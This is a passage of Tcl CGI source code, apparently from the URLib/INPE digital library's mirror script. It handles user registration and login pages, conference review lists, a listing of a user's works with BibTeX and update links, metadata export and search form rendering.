			foreach {eMailAddress fullName2 theme2 resumeID orcid CPF} [ReturnUserData $cgi(username) write] {break}	;# added by GJFB on 2013-07-07 - resumeID, orcid and CPF are used in xxAdvancedUserPage.html
			
			set fileTable(accesspage) AdvancedUserPage
			if ![info exists cgi($field)] {set cgi($field) {}}
			set returnAddress http://$localSite/col/$currentRep/doc/mirror.cgi/Register?languagebutton=$language&usertype=$cgi(usertype)&username=$cgi(username)&fullname=$cgi(fullname)&__e_mailaddress_e_mailaddress=$cgi(__e_mailaddress_e_mailaddress)&$field=$cgi($field)&formstate=nothingtoupdate
			regsub -all { } $returnAddress {+} returnAddress
if 0 {
			if $restrictedSubmission {
				if [info exists returnAddress] {set cgi(returnaddress) $returnAddress}	;# returnAddress may be defined in displayControl.tcl
				set header ${registration header}
				puts [subst [subst ${forbidden registration}]]
				return
			}
}
			source ../$col/$languageRep2/doc/${submissionFormLanguage}FillingInstructions.tcl
			if [catch {source ../$col/$submissionFormLanguageRep/doc/${submissionFormLanguage}FillingInstructions.tcl} error] {
				puts "error in sourcing file <TT>&lt\;../$col/$submissionFormLanguageRep/doc/${submissionFormLanguage}FillingInstructions.tcl&gt\;</TT>:"
				puts <BR>
				puts $error
			}

# translationTable
			source ../$col/$languageRep2/doc/mirror/${language}ReferenceTypeName.tcl	;# set translationTable - needed in xxAdvancedUserPage.html

			set referenceType {Advanced User Registration}

			set javaComment(fullname) {}
			if {[info exists displayTable($referenceType,$fieldName)] && $displayTable($referenceType,$fieldName)} {
				set openComment(theme) {}
				set closeComment(theme) {}
				set javaComment(theme) {}
			} else {
 				set openComment(theme) {<!--}
 				set closeComment(theme) {-->}
				set javaComment(theme) {//}
			}

			set inputRow {}
			set ifCondition {(0)}

			if [info exists displayTable($referenceType,$fieldName)] {
				set value $cgi($field)
#				if {[string compare 2.2 $displayTable($referenceType,$fieldName)] == 0} #
				if [string equal 2.2 $displayTable($referenceType,$fieldName)] {
# check box
					set value [TurnIntoList $value]
					CreateCheckBox $fieldName $field $value inputRow
					set i 0
					set boxValues $boxTable($referenceType,$fieldName)
					set conditionList {}
					if {[llength [lindex [lindex $boxValues 0] 1]] <= 1} {
# without subitem
						foreach box $boxValues {
							if {[string compare {} [lindex $box 0]] == 0} {continue}
							lappend conditionList "!(document.$submissionType.$field\[$i\].checked)"
							incr i
						}
					} else {
# with subitems (the first item has at least two subitems)
						foreach box $boxValues {
							foreach box2 [lindex $box 1] {
								lappend conditionList "!(document.$submissionType.$field\[$i\].checked)"
								incr i
							}
						}
					}
					set ifCondition "([join $conditionList { && }])"
#				# elseif {[string compare 3 $displayTable($referenceType,$fieldName)] == 0} #
				} elseif {[string equal 3 $displayTable($referenceType,$fieldName)]} {
# select
					CreateSelect $fieldName $field $value inputRow
					set ifCondition {(document.$submissionType.$field.value == "")}
				}
			}
# Create a review list
			if {[string compare {} $cgi(username)] != 0 && \
			[info exists {displayTable(Advanced User Registration,reviewlist)}] && \
			![info exists cgi(passworderror)]} {
# QUERY
				set query "username, $cgi(username) and keywords, review and referencetype, misc"
				set conferenceName [lindex $displayTable(Conference Proceedings,%B) 2]
				if {[string compare {} $conferenceName] != 0} {
					set query "$query and abstract, $conferenceName"
				}
				set reviewList2 [FindMetadataRepositories $query 0 [list $serverAddressWithIP] $codedPassword]
if 0 {
				set reviewList {}
				foreach item $reviewList2 {
					SetFieldValue $serverAddressWithIP $item {title repository}
					lappend reviewList "<A HREF=http://$localSite/update/$repository?username=$cgi(username)&session=$cgi(session)&mirror=$currentRep&returnbutton=yes&returnaddress=$returnAddress&useraction=$cgi(useraction)&session=$cgi(session)&returnbutton=yes&delayedreturnbutton=$cgi(delayedreturnbutton)>[lrange [split $title] 0 4][expr [llength [split $title]] > 5?{ ...}:{}]</A>"
				}
				set reviews [join $reviewList <BR>]
				if {[string compare {} $reviewList] == 0} {
					set reviews ${there are no reviews to release}
				}
				set numberOfReviews [llength $reviewList]
} else {
# display by subject, session, theme or format
# referenceField value is subject, session, type, tertiarytype or {}
				if ![info exists referenceField] {
					set referenceField {}
				}
				if {[string compare {} $referenceField] == 0} {
					set {} x	;# used below in subst $$referenceField
				}
				if [info exist themeArray] {unset themeArray}
# puts --$reviewList2--
				foreach item $reviewList2 {
					SetFieldValue $serverAddressWithIP $item {parentrepositories repository}
					set parentWorkRepository [Execute $serverAddressWithIP [list FindMetadataRep $parentrepositories]]
					SetFieldValue $serverAddressWithIP $parentWorkRepository-0 [subst "$referenceField title author"]
					lappend themeArray([subst $$referenceField]) [list $title $author $repository]
				}
				set tableList {}
				set numberOfReviews 0
				foreach theme [array names themeArray] {
					set themeTable "<TABLE WIDTH=100% CELLPADDING=6>"
					if {[string compare {} $referenceField] != 0} {append themeTable "<TR><TD><FONT COLOR=BROWN>$theme</FONT></TD></TR>"}
					set reviewList {}
					set i 0
					foreach workData [lsort -index 0 $themeArray($theme)] {
						foreach {title author repository} $workData {break}
						set author2 {}
						foreach name $author {
							regsub {,$} $name {} name; lappend author2 $name
						}
						set author2 [join $author2 {; }]
						set cellBackgroundColor [lindex $cellBackgroundColors [expr $i%2]]
						lappend reviewList "<TR><TD BGCOLOR=$cellBackgroundColor class=displayTD>$title<BR>[expr $blindReview?{}:{$author2}]
<BR><A HREF=http://$localSite/update/$repository?username=$cgi(username)&session=$cgi(session)&mirror=$currentRep&returnbutton=yes&returnaddress=$returnAddress&useraction=$cgi(useraction)&session=$cgi(session)&returnbutton=$cgi(returnbutton)&delayedreturnbutton=$cgi(delayedreturnbutton)&registereduser=$cgi(registereduser)&login=$cgi(login)>$translationTable(review)</A></TD></TR>"
						incr i
						incr numberOfReviews
					}
					append themeTable [join $reviewList \n]
					append themeTable </TABLE>
					lappend tableList $themeTable
				}
				set reviews [join $tableList \n]
				if !$numberOfReviews {
#					set reviews ${there are no reviews to release}
					set reviewedWorks "<TABLE WIDTH=100% CELLPADDING=6><TR><TD class=displayTD>${there are no reviews to release}</TD></TR></TABLE>"
				}
}
				set openComment(reviewlist) {}
				set closeComment(reviewlist) {}
			} else {
				set reviewList {}
				set openComment(reviewlist) {<!--}
				set closeComment(reviewlist) {-->}
			}
			set openComment(fullname) {}
			set closeComment(fullname) {}
# Create a review list - end
		} else {
# read user
			set fileTable(accesspage) UserPage
			set javaComment(fullname) {//}
			set javaComment(theme) {//}
			set ifCondition {}
			set reviewList {}
			set reviews {}
			set openComment(reviewlist) {<!--}
			set closeComment(reviewlist) {-->}
			set openComment(fullname) {<!--}
			set closeComment(fullname) {-->}
			set inputRow {}
			set openComment(theme) {<!--}
			set closeComment(theme) {-->}
		}

		set returnAddress http://$localSite/col/$currentRep/doc/mirror.cgi/Register?languagebutton=$language&usertype=$cgi(usertype)&username=$cgi(username)&__e_mailaddress_e_mailaddress=$cgi(__e_mailaddress_e_mailaddress)&formstate=nothingtoupdate
		regsub -all { } $returnAddress {+} returnAddress

if 0 {
puts {Content-Type: text/html}
puts {}
puts [array get cgi]
}

# action
		set action ${Please wait for the submission completion.}
# seconds
		set seconds "<INPUT TYPE=HIDDEN NAME=\"seconds\" VALUE=\"[clock seconds]\">"

		if {[string compare {no} $cgi(registereduser)] == 0 && \
			([string compare {} $cgi(useraction)] == 0 || \
			[string compare {register} $cgi(useraction)] != 0)} {
# loginpage
# delayedreturnbutton says if the login page is with or without a return button
			set returnButton [CreateReturnButton <HR> ../$col/$languageRep2/doc/mirror About $cgi(targetframe) $Cancel {} {} {} {} 0 $cgi(delayedreturnbutton)]
			set fileTableEntry loginpage
		} else {
			if {[string equal {} $cgi(formstate)] && $restrictedSubmission} {
				set currentPassword [regexp {register|update|review|seeworks|exportmetadata} $cgi(useraction)]
			} else {
				set currentPassword [regexp {update|review|seeworks|exportmetadata} $cgi(useraction)]
			}

			if [string equal {} $cgi(useraction)] {
# cgi(returnaddress) is used by CreateReturnButton when called from xxEnterPassword.html, xxUserPage.html or xxAdvancedUserPage.html
				set cgi(returnaddress) Register?languagebutton=$language&usertype=$cgi(usertype)&returnbutton=$cgi(returnbutton)&delayedreturnbutton=$cgi(delayedreturnbutton)&targetframe=$cgi(targetframe)&username=$cgi(login)&registereduser=no&login=$cgi(login)
				if ![string equal {} $cgi(session)] {
# accesspage
					if {[info exists {displayTable(User Registration,reviewedworklist)}] || \
					[info exists {displayTable(Advanced User Registration,reviewedworklist)}]} {
 						set openComment(reviewaccess) {}
 						set closeComment(reviewaccess) {}
					} else {
 						set openComment(reviewaccess) {<!--}
 						set closeComment(reviewaccess) {-->}
					}
					set returnButton [CreateReturnButton <HR> ../$col/$languageRep2/doc/mirror Register?languagebutton=$language&usertype=$cgi(usertype)&returnbutton=$cgi(returnbutton)&delayedreturnbutton=$cgi(delayedreturnbutton) $cgi(targetframe) $Cancel]
#					set returnButton [CreateReturnButton <HR> ../$col/$languageRep2/doc/mirror About $cgi(targetframe) $Cancel]
#					set returnButton [CreateReturnButton <HR> ../$col/$languageRep2/doc/mirror {} $cgi(targetframe) $Cancel {} {} {} {} 1]	;# using history.back()
					set fileTableEntry accesspage
				} else {
# passwordpage
					set currentPassword 1
					set fileTable(passwordpage) EnterPassword
					set fileTableEntry passwordpage
				}
			} else {
# user action
# cgi(returnaddress) is used by CreateReturnButton when called from xxEnterPassword.html, xxUserPage.html, xxAdvancedUserPage.html or xxRegister.html
# puts [array get cgi]
				if {[string equal {register} $cgi(useraction)] || \
				![string equal {} $cgi(initialaction)] || \
				[string equal {} $cgi(session)]} {
# returning to the loginpage
#					set cgi(returnaddress) Register?languagebutton=$language&usertype=$cgi(usertype)&returnbutton=$cgi(returnbutton)&delayedreturnbutton=$cgi(delayedreturnbutton)&targetframe=$cgi(targetframe)&username=$cgi(login)&session=$cgi(session)&registereduser=no&login=$cgi(login)&useraction=$cgi(useraction)&initialaction=$cgi(initialaction)&displayedfieldlist=$displayedFieldList2
#					set cgi(returnaddress) Register?languagebutton=$language&usertype=$cgi(usertype)&returnbutton=$cgi(returnbutton)&delayedreturnbutton=$cgi(delayedreturnbutton)&targetframe=$cgi(targetframe)&registereduser=no&useraction=$cgi(useraction)&initialaction=$cgi(initialaction)&displayedfieldlist=$displayedFieldList2
					set cgi(returnaddress) Register?languagebutton=$language&usertype=$cgi(usertype)&returnbutton=$cgi(returnbutton)&delayedreturnbutton=$cgi(delayedreturnbutton)&targetframe=$cgi(targetframe)&useraction=update&initialaction=$cgi(initialaction)&displayedfieldlist=$displayedFieldList2
				} else {
# returning to the accesspage
					set cgi(returnaddress) Register?languagebutton=$language&usertype=$cgi(usertype)&returnbutton=$cgi(returnbutton)&delayedreturnbutton=$cgi(delayedreturnbutton)&targetframe=$cgi(targetframe)&username=$cgi(login)&session=$cgi(session)&registereduser=$cgi(registereduser)&login=$cgi(login)
				}
				if [regexp {register|update|review} $cgi(useraction)] {
# register update review
# puts [array get cgi]
# Create a reviewed work list
					if {![string equal {} $cgi(username)] && \
					[info exists {displayTable(User Registration,reviewedworklist)}] && \
					![info exists cgi(passworderror)]} {
						set themeLabelForQuery *	;# all
# QUERY
						set query "usergroup, $cgi(username) and keywords, review and documentstage, closed"
# puts $query
						set reviewList2 [FindMetadataRepositories $query 0 [list $serverAddressWithIP] $codedPassword]
if 0 {
						set reviewedWorkList {}
						foreach item $reviewList2 {
							SetFieldValue $serverAddressWithIP $item {parentrepositories}
							set workMetadataRep [Execute $serverAddressWithIP [list FindMetadataRep $parentrepositories]]
							SetFieldValue $serverAddressWithIP $workMetadataRep-0 {title repository}
							lappend reviewedWorkList "<A HREF=http://$localSite/review/$repository?mirror=$currentRep&returnbutton=yes&returnaddress=$returnAddress&useraction=$cgi(useraction)&session=$cgi(session)&returnbutton=yes&delayedreturnbutton=$cgi(delayedreturnbutton)>[lrange [split $title] 0 4][expr [llength [split $title]] > 5?{ ...}:{}]</A>"
						}
						set reviewedWorks [join $reviewedWorkList <BR>]
						if {[string compare {} $reviewedWorkList] == 0} {
							set reviewedWorks ${there are no reviews to display}
						}
						set numberOfReviewedWorks [llength $reviewedWorkList]
} else {
# display by subject, session, theme or format
# referenceField value is subject, session, type, tertiarytype or {}
						if ![info exists referenceFielreviewsd] {
							set referenceField {}
						}
						if {[string compare {} $referenceField] == 0} {
							set {} x	;# used below in subst $$referenceField
						}
						if [info exist themeArray] {unset themeArray}
# puts --$reviewList2--
						foreach item $reviewList2 {
							SetFieldValue $serverAddressWithIP $item {parentrepositories}
							set parentWorkRepository [Execute $serverAddressWithIP [list FindMetadataRep $parentrepositories]]
							SetFieldValue $serverAddressWithIP $parentWorkRepository-0 [subst "$referenceField title author repository"]
							lappend themeArray([subst $$referenceField]) [list $title $author $repository]
						}
						set tableList {}
						set numberOfReviewedWorks 0
# puts --[array names themeArray]--
						foreach theme [array names themeArray] {
							set themeTable "<TABLE WIDTH=100% CELLPADDING=6>"
							if {[string compare {} $referenceField] != 0} {append themeTable "<TR><TD><FONT COLOR=BROWN>$theme</FONT></TD></TR>"}
							set reviewList {}
							set i 0
							foreach workData [lsort -index 0 $themeArray($theme)] {
								foreach {title author repository} $workData {break}
								set author2 {}
								foreach name $author {
									regsub {,$} $name {} name; lappend author2 $name
								}
								set author2 [join $author2 {; }]
								set cellBackgroundColor [lindex $cellBackgroundColors [expr $i%2]]
# translationTable(review) is defined in mirror/xxRegister.tcl
								lappend reviewList "<TR><TD BGCOLOR=$cellBackgroundColor class=displayTD>$title<BR>$author2
<BR><A HREF=http://$localSite/review/$repository?mirror=$currentRep&returnbutton=yes&returnaddress=$returnAddress&useraction=$cgi(useraction)&session=$cgi(session)&returnbutton=$cgi(returnbutton)&delayedreturnbutton=$cgi(delayedreturnbutton)&registereduser=$cgi(registereduser)&login=$cgi(login)>$translationTable(review)</A></TD></TR>"
								incr i
								incr numberOfReviewedWorks
							}
							append themeTable [join $reviewList \n]
							append themeTable </TABLE>
							lappend tableList $themeTable
						}
						set reviewedWorks [join $tableList \n]
						if !$numberOfReviewedWorks {
#							set reviewedWorks ${there are no reviews to display}
							set reviewedWorks "<TABLE WIDTH=100% CELLPADDING=6><TR><TD class=displayTD>${there are no reviews to display}</TD></TR></TABLE>"
						}
}
					}
# Create a reviewed work list - end

				} elseif {![string equal {} $cgi(session)] && [string equal {seeworks} $cgi(useraction)]} {
# seeworks
# QUERY
# puts $currentRep
					set conferenceName [lindex $displayTable(Conference Proceedings,%B) 2]
# puts --$conferenceName--
					if [string equal {} $conferenceName] {
#						set query "mark 1 or not mark * and username, $cgi(username) and mirrorrepository, $currentRep"
						set query "username, $cgi(username)"
					} else {
						regsub -all { and | and, } $conferenceName { } conferenceNameForQuery	;# in case of the english language
#						set query "mark 1 or not mark * and username, $cgi(username) and mirrorrepository, $currentRep and conferencename, $conferenceNameForQuery"
#						set query "username, $cgi(username) and conferencename, $conferenceNameForQuery"
						set query "username, $cgi(username) and mirrorrepository $currentRep and conferencename, $conferenceNameForQuery"
					}
# set query {usern banon and rep urlib.net/www*} 
#					set workList2 [FindMetadataRepositories $query 0 [list $serverAddressWithIP] $codedPassword]	;# adm coded password to see the hidden records as well
					set workList2 [FindMetadataRepositories $query 0 {} $codedPassword no no 1]	;# adm coded password to see the hidden records as well
# puts --$workList2--
					if [string equal {no} $cgi(returnbutton)] {
# open a new window
						set target { TARGET=_blank}
					} else {
						set target {}
					}

# translationTable
					source ../$col/$languageRep2/doc/mirror/${language}ReferenceTypeName.tcl	;# set translationTable

					set referenceTypeList {}
					foreach item $workList2 {
# puts $item
						foreach {site rep-i} $item {break}	;# site is actually serverAddress
#						SetFieldValue $serverAddressWithIP $item {title author editor programmer reporter repository mirrorrepository childrepositories referencetype nextedition mark size}
						SetFieldValue $site ${rep-i} {title author editor programmer reporter repository metadatarepository index mirrorrepository childrepositories referencetype nextedition mark size}
						lappend referenceTypeList $referencetype
						set author [EscapeUntrustedData $author]	;# added by GJFB on 2018-06-14
						set author2 {}
						foreach name $author {
							regsub {,$} $name {} name
							lappend author2 $name
						}
						if {[string compare {} $author] == 0} {
							foreach name $editor {
								regsub {,$} $name {} name
								lappend author2 $name
							}
						}
						foreach name $programmer {
							regsub {,$} $name {} name
							lappend author2 $name
						}
						foreach name $reporter {
							regsub {,$} $name {} name
							lappend author2 $name
						}
						set author2 [join $author2 {; }]
						if {[string compare {} $author2] == 0} {set author2 {-}}

						set buttonList {}
						
# window
						regsub -all {/} ${currentRep}___$metadatarepository {__} window
						regsub -all {\.|@|-} $window {_} window
						set window ${window}___$index
						regsub { } $site {+} site2
# http://plutao.dpi.inpe.br/col/dpi.inpe.br/plutao@80/2008/08.19.15.01.21/doc/mirrorget.cgi?languagebutton=pt-BR&metadatarepository=dpi.inpe.br/banon-pc@1905/2005/02.19.00.40.44&index=0&serveraddress=plutao.dpi.inpe.br+800&choice=fullbibtex&lastupdate=2013:07.16.22.42.14+dpi.inpe.br/banon/1999/01.09.22.14+banon+{D+{}}&continue=yes
# http://bibdigital.sid.inpe.br/col/sid.inpe.br/bibdigital@80/2006/04.07.15.50.13/doc/mirrorget.cgi?languagebutton=pt-BR&metadatarepository=sid.inpe.br/mtc-m19/2013/08.01.19.43.38&index=0&serveraddress=mtc-m19.sid.inpe.br+800&choice=fullbibtex&lastupdate=2013:08.01.20.04.43+sid.inpe.br/mtc-m19@80/2009/08.21.17.02+administrator+{D+2012}&continue=no
						lappend buttonList "<A HREF=http://[ReturnHTTPHost $site]/col/$currentRep/doc/mirrorget.cgi?languagebutton=$language&metadatarepository=$metadatarepository&index=$index&serveraddress=$site2&choice=fullbibtex ONCLICK=\"window.open('', 'refer___$window', 'width=760,height=450,scrollbars=yes,menubar=yes,resizable=yes,toolbar=no')\" TARGET=refer___$window><FONT COLOR=GREEN>BibTeX</FONT></A>"
						
						if {![string equal {Conference Proceedings} $referencetype] || \
						![info exists {closedUpdateTable(Conference Proceedings)}] || \
						!$closedUpdateTable(Conference Proceedings)} {
# update button
							if [string equal {no} $cgi(returnbutton)] {
# drop return address
								lappend buttonList "<A HREF=http://[ReturnHTTPHost $site]/update/$repository?languagebutton=$language&mirror=$currentRep&username=$cgi(username)&session=$cgi(session)&returnbutton=$cgi(returnbutton)$target>$update2</A>"
							} else {
								lappend buttonList "<A HREF=http://[ReturnHTTPHost $site]/update/$repository?languagebutton=$language&mirror=$currentRep&username=$cgi(username)&session=$cgi(session)&returnbutton=$cgi(returnbutton)&returnaddress=$returnAddress&useraction=$cgi(useraction)&session=$cgi(session)&returnbutton=$cgi(returnbutton)&delayedreturnbutton=$cgi(delayedreturnbutton)&registereduser=$cgi(registereduser)&login=$cgi(login)$target>$update2</A>"
							}
						}
						if {[info exists displayReviewButton] && $displayReviewButton} {
# review button
							set reviewButton [CreateReviewButton $item $repository $mirrorrepository $childrepositories]
							if ![string equal {} $reviewButton] {
								lappend buttonList [subst $reviewButton]
							}
						}
						if {[string equal {Conference Proceedings} $referencetype] && \
						[string equal {} $nextedition] && \
						![string equal {} $mark] && $mark && \
						[info exists addAudiovisualMaterialSubmissionOption] && $addAudiovisualMaterialSubmissionOption} {
# audiovisual material button
							lappend buttonList "<A HREF=http://[ReturnHTTPHost $site]/update/$repository?languagebutton=$language&referencetype=Audiovisual+Material&sourcereferencetype=Conference+Proceedings&updateoption=add&_(_previousedition=$repository&mirror=$currentRep&username=$cgi(username)&session=$cgi(session)&returnbutton=$cgi(returnbutton)$target>$submit $translationTable(Audiovisual Material)</A>"
						}
						set title [EscapeUntrustedData $title]	;# added by GJFB on 2018-06-14
						if [string equal {} $size] {
							set titleLine $title
						} else {
							set titleLine "<A HREF=http://[ReturnHTTPHost $site]/rep-/$repository TARGET=_blank>$title</A>"
						}
						lappend $referencetype "
$titleLine
<BR>
<I>$author2</I>
<BR>
[join $buttonList { | }]
<BR>"
					}
					if [string equal {} $referenceTypeList] {
						append works "
<TR>
<TD BGCOLOR=$cellBgColor NOWRAP VALIGN=TOP>&nbsp;</TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP VALIGN=TOP>&nbsp;</TD>
<TD BGCOLOR=#EEEEEE>
<TABLE WIDTH=100% CELLPADDING=6><TR><TD class=displayTD>${there are no items to display}</TD></TR></TABLE>
</TD>
</TR>
"
					} else {
						foreach refType [lsort -unique $referenceTypeList] {
							append works "
<TR>
<TD BGCOLOR=$cellBgColor NOWRAP VALIGN=TOP>${cellFont}$translationTable($refType)</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP VALIGN=TOP>${cellFont}$click -></FONT></TD>
<TD BGCOLOR=#EEEEEE>
[join [subst $[list $refType]] <BR>]
</TD>
</TR>
"
						}
					}
				} elseif {![string equal {} $cgi(session)] && \
				[string equal {exportmetadata} $cgi(useraction)]} {
# exportmetadata
					source ../$col/$URLibServiceRepository/doc/utilities3.tcl	;# DisplaySearch
# puts [array get cgi]
					set fullName [join [GetUserData $userName write {fullname2}]]
					set CPF [GetUserData $userName write {cpf}]
# puts [GetUserData banon@dpi.inpe.br write {cpf}]

# puts $cgi(contents)					
					foreach item $cgi(contents) {
# puts $item
# puts $cgi(outputformat)
						foreach {searchExpression sectionTitle} $item {break}
# puts $searchExpression
						set searchExpression "referencetype, Journal Article or referencetype, Conference or referencetype, Book Section and author, $fullName and $searchExpression"
# linType values are 0, 1, ..., 9
# 
# 0 is for absolute link with col (default)
# 1 is for absolute link with rep
# 2 is for absolute link with rep-
# 3 is for relative link with ../../../../..
# 4 is for relative link with ../../../../../../col
# 5 is for relative link with goto
# 6 is for relative link with goto-
# 7 is for no link
# 8 is for absolute link http://urlib.net/
# 9 is for absolute link http://urlib.net/rep/
		
#						set searchExpression	"y 2013"
#						---------------------------------------------------
						set accent 				{yes}
						set case 				{yes}
						set choice 				{briefTitleAuthorMisc}
						set title 				"<TABLE ALIGN=\"CENTER\" BORDER=\"0\" CELLPADDING=\"5\" CELLSPACING=\"0\" class=\"titleAuthorTABLE\"><TR><TD>$sectionTitle (\$numberOfEntries)</TD></TR></TABLE>"
						set excludedFields 		{}
						set localSearch 		{0}
						set numbering 			{}
						set siteList 			[ComputeSiteList]
						set page 				{no}
						set linkType 			{1}
						set displayEverything	{1}
						set sort 				{}
#						set outputFormat 		{referencetype checkbox}
						set outputFormat 		$cgi(outputformat)
#						set targetValue 		{_blank}	;# commented by GJFB on 2013-06-18
						set targetValue 		{_parent}	;# added by GJFB on 2013-06-18 in order to navigate from the same window
						set mirrorRep 			{}
						set nameFormat 			{short}
						set nameSeparator 		{; }	;# default
						set latexOptionList 	{}
						set multipleSearch 		{0}
						set imageFlag 			{0}
# DISPLAYSEARCH
						lappend searchResult [DisplaySearch $searchExpression $accent $case $choice $title $excludedFields $localSearch $numbering $siteList $page $linkType $displayEverything $sort $outputFormat $targetValue $mirrorRep $nameFormat $nameSeparator $latexOptionList $multipleSearch $imageFlag]
					}
				}
				set fileTableEntry $cgi(useraction)
			}
		}

# LOAD
# puts $fileTableEntry
# => passwordpage
# => accesspage
# => update 
# puts $fileTable($fileTableEntry)
# => EnterPassword
# => AdvancedUserPage
# => EnterPassword or Register 
		set currentFileName [FindCurrentHTMLFileName $fileTable($fileTableEntry)]
# puts $currentFileName
		Load $currentFileName fileContent

		if [string equal {EnterLogin} $fileTable($fileTableEntry)] {
			set loginFieldName "${eMail Address}"
		}

		if [string equal {EnterPassword} $fileTable($fileTableEntry)] {
# formAction is used in register.tcl to make the Return Button for wrong password warning
			set formAction http://$localSite/col/$currentRep/doc/mirror.cgi/Register?$env(QUERY_STRING)
			if {[info exists {submissionPolicyTable(Conference Proceedings)}] && \
			$submissionPolicyTable(Conference Proceedings) == 2} {
# create a password for the user
				set loginFieldName "${eMail Address}"
			} else {
				set loginFieldName "$User"
			}

			if ![string equal {} $cgi(login)] {
				set loginRow "
<TR>
	<TD BGCOLOR=$cellBgColor NOWRAP>${cellFont}$loginFieldName (Login)</FONT></TD>
	<TD BGCOLOR=#EEEEEE STYLE=\"font-family: Verdana\">$cgi(login)</TD>
	<INPUT TYPE=HIDDEN NAME=username VALUE=\"$cgi(login)\">
</TR>
"
			} else {
				set loginRow "
<TR>
	<TD BGCOLOR=$cellBgColor NOWRAP>${cellFont}$loginFieldName (Login)</FONT></TD>
	<TD BGCOLOR=#EEEEEE><INPUT NAME=username TYPE=TEXT VALUE=\"$cgi(username)\" class=\"registerInput\"></TD>
</TR>
"
			}
		}
		if [string equal {Register} $fileTable($fileTableEntry)] {
			if [regexp {^([^<\s@]+)@([^@\s>]+)$} $cgi(login)] {
# login is an e-mail address
				set cgi(__e_mailaddress_e_mailaddress) $cgi(login)	;# new procedure - user name must be an e-mail address
			} else {
#				set cgi(__e_mailaddress_e_mailaddress) {}
			}
#			set displayEMailField [expr \
[string compare $cgi(__e_mailaddress_e_mailaddress) $cgi(login)] != 0 && \
(![info exists cgi(passworderror)] || !$cgi(passworderror)) && \
[string compare {yes} $cgi(displayemailfield)] == 0]
			set displayEMailField [expr [string compare $cgi(__e_mailaddress_e_mailaddress) $cgi(login)] != 0]
		}

# Used by JavaScript
#		if ![info exists cgi(wrongpassword)] {set cgi(wrongpassword) {no}}
		set cgi(wrongpassword) {no}
# Used by JavaScript - end

		if [string equal {administrator} $cgi(username)] {set cgi(username) {}}
# puts $currentFileName
# => c:/users/geral/urlib 2/col/dpi.inpe.br/banon/1999/06.19.22.43/doc/pt-BREnterPassword.html
# => c:/users/geral/urlib 2/col/dpi.inpe.br/banon/1999/06.19.22.43/doc/pt-BREnterAdmPassword.html
# puts $fileTable($fileTableEntry)
		if [regexp {EnterPassword|EnterAdmPassword|Register} $fileTable($fileTableEntry)] {
# sessionTime
# symmetricKey
#			regexp {(.*)-(.*)} [OpenSession $env(REMOTE_ADDR) symmetricKey] m sessionTime symmetricKey
			foreach {sessionTime symmetricKey} [OpenSession [list $env(REMOTE_ADDR) administrator] symmetricKey] {break}
		}
# SUBST
#		catch {subst $fileContent} output	;# returnButton is set in xxRegister.html
		set output [subst $fileContent]	;# returnButton is set in xxRegister.html
#		set output $fileContent	;# returnButton is set in xxRegister.html
	}
	^BannerSpace$ {
		set output [CreateBannerSpace $languageRep2 $language]
	}
	^Form$ {
		if [file exists ../$col/$languageRep1/doc/${language}Form.html] {
			Load ../$col/$languageRep1/doc/${language}Form.html body
		} else {
			Load ../$col/$languageRep2/doc/${language}Form.html body
		}
# Add Banner with INPE filter
if 0 {
		if ![regexp {^150.163} $env(IP_ADDR)] {
			regsub {</([Hh][Ee][Aa][Dd])>} $body "[BannerScript ../mirror.cgi/BannerSpace]</\\1>" body
		}
}
# Add Banner with INPE filter - end
# puts [array get cgi]
# puts $env(QUERY_STRING)
		if [info exists cgi(query)] {
			ProcessQuery	;# reset cgi(query)
			set formValue $cgi(query)
		} else {
			set formValue {}
		}
# Source displayControl.tcl
		set enableOutput 1
		eval $sourceDisplayControl
# Source displayControl.tcl - end
# query2
		ConditionalSet query2 secondarySearchExpression {}	;# set in displayControl.tcl
		if ![info exists cgi(choice)] {set cgi(choice) brief}
		if ![info exists cgi(sort)] {set cgi(sort) key}
		if ![info exists cgi(accent)] {set cgi(accent) false}
		if ![info exists cgi(case2)] {set cgi(case2) false}
# puts --$cgi(choice)--
# puts --$cgi(sort)--
# puts $body
		regsub "<OPTION VALUE=$cgi(choice)>" $body "<OPTION SELECTED VALUE=$cgi(choice)>" body
		regsub "<OPTION VALUE=$cgi(sort)>" $body "<OPTION SELECTED VALUE=$cgi(sort)>" body
		if [string equal {true} $cgi(accent)] {
			set checkedAccent { CHECKED}
		} else {
			set checkedAccent {}
		}
		if [string equal {true} $cgi(case2)] {
			set checkedCase { CHECKED}
		} else {
			set checkedCase {}
		}
		if [catch {set hiddenInput "
<INPUT TYPE=HIDDEN NAME=\"prefixqueryfield\" VALUE=\"$cgi(prefixqueryfield)\">
<INPUT TYPE=HIDDEN NAME=\"queryfield\" VALUE=\"$cgi(queryfield)\">
<INPUT TYPE=HIDDEN NAME=\"suffixqueryfield\" VALUE=\"$cgi(suffixqueryfield)\">
<INPUT TYPE=HIDDEN NAME=\"suffixquery2field\" VALUE=\"$cgi(suffixquery2field)\">
<INPUT TYPE=HIDDEN NAME=\"suffixquery3field\" VALUE=\"$cgi(suffixquery3field)\">
<INPUT TYPE=HIDDEN NAME=\"referencetypefield\" VALUE=\"$cgi(referencetypefield)\">
"}] {
			set hiddenInput {}
		}
## administratorUserName
#		regsub {@.*$} $env(SERVER_ADMIN) {} administratorUserName
# it is better to use administrator instead of its user name because
# in case of name change we don't need do reload the frame

# sessionTime
# symmetricKey
#		regexp {(.*)-(.*)} [OpenSession $env(REMOTE_ADDR) symmetricKey] m sessionTime symmetricKey
#		foreach {sessionTime symmetricKey} [OpenSession [list $env(REMOTE_ADDR) administrator] symmetricKey] {break}
	
		set output [subst $body]
	}
	^SimpleForm$ {
		set timeZone [expr ([clock scan [clock format [clock seconds] -format %H:%M:%S] -gmt 1] - [clock seconds]) / 3600]
		if [file exists ../$col/$languageRep1/doc/${language}SimpleForm.html] {
			Load ../$col/$languageRep1/doc/${language}SimpleForm.html body
		} else {
			Load ../$col/$languageRep2/doc/${language}SimpleForm.html body
		}
		ConditionalSet simpleFormSecondDisplay cgi(simpleformseconddisplay) {}
# puts $body
# puts [array get cgi]
		if [info exists cgi(query)] {
			ProcessQuery	;# reset cgi(query)
			set formValue $cgi(query)
			regsub -all { } $cgi(query) {+} query
		} else {
			set formValue {}
			set query {}
		}

# Source displayControl.tcl
		set enableOutput 1
		eval $sourceDisplayControl
# Source displayControl.tcl - end
# query2
		ConditionalSet query2 secondarySearchExpression {}	;# set in displayControl.tcl
# puts $formValue
		if [info exists cgi(startsearch)] {
